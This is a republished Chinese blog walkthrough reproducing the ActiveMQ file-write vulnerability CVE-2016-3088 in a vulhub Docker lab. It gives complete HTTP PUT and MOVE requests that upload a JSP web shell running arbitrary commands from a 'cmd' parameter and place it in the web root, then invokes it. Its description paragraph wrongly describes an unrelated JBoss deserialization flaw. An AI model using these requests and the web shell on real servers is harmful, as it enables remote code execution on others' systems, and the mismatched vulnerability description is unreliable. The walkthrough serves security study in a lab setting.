ActiveMQ任意文件写入漏洞(CVE-2016-3088)
发布日期:2021-06-29 11:26:42 浏览次数:3 分类:技术文章

本文共 2042 字,大约阅读时间需要 6 分钟。

声明

好好学习,天天向上

漏洞描述

Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

CVE-2017-7504漏洞与CVE-2015-7501的漏洞如出一辙,只是利用的路径稍微出现了变化,CVE-2017-7504出现在/jbossmq-httpil/HTTPServerILServlet路径下

影响范围

Apache ActiveMQ 5.0.0 - 5.13.2

复现过程

这里使用5.11.1版本

使用vulhub

cd /app/vulhub-master/activemq/CVE-2016-3088

使用docker启动

docker-compose builddocker-compose up -d

环境启动后,访问http://your-ip:8161

http://192.168.239.129:8161/

业务端口:61616

用于生产消费数据

管理端口:8161

用于web端进行配置管理

访问,查看ActiveMQ的绝对路径:

http://192.168.239.129:8161/admin/test/systemProperties.jsp

然后抓包,修改成如下

PUT /fileserver/2.txt HTTP/1.1Host: 192.168.239.129:8161Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 120976<%@ page import="java.io.*"%><% out.print("Hello
"); String strcmd=request.getParameter("cmd"); String line=null; Process p=Runtime.getRuntime().exec(strcmd); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); while((line=br.readLine())!=null){ out.print(line+"
"); }%>

在这里插入图片描述

移动到web目录下的api文件夹(/opt/activemq/webapps/api/s.jsp)中,这里注意最好是从原网页访问抓包,只修改前两行

MOVE /fileserver/2.txt HTTP/1.1Destination: file:///opt/activemq/webapps/api/s.jspHost: 192.168.239.129:8161User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie: JSESSIONID=39AB6981AD8B98DBCF766423E57D075DDNT: 1Connection: closeUpgrade-Insecure-Requests: 1If-Modified-Since: Fri, 13 Feb 2015 18:05:11 GMTCache-Control: max-age=0

在这里插入图片描述

访问马

http://192.168.239.129:8161/api/s.jsp?cmd=ls

在这里插入图片描述

关闭镜像(每次用完后关闭)

docker-compose down

docker-compose常用命令

拉镜像(进入到vulhub某个具体目录后)

docker-compose builddocker-compose up -d

镜像查询(查到的第一列就是ID值)

docker ps -a

进入指定镜像里面(根据上一条查出的ID进入)

docker exec -it ID /bin/bash

关闭镜像(每次用完后关闭)

docker-compose down

转载地址:https://blog.csdn.net/zy15667076526/article/details/111414224 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!

上一篇:Apereo CAS 4.1 反序列化漏洞
下一篇:ActiveMQ 反序列化漏洞(CVE-2015-5254)

发表评论

最新留言

能坚持,总会有不一样的收获!
[***.219.124.196]2024年04月02日 23时16分47秒

关于作者

    喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!

推荐文章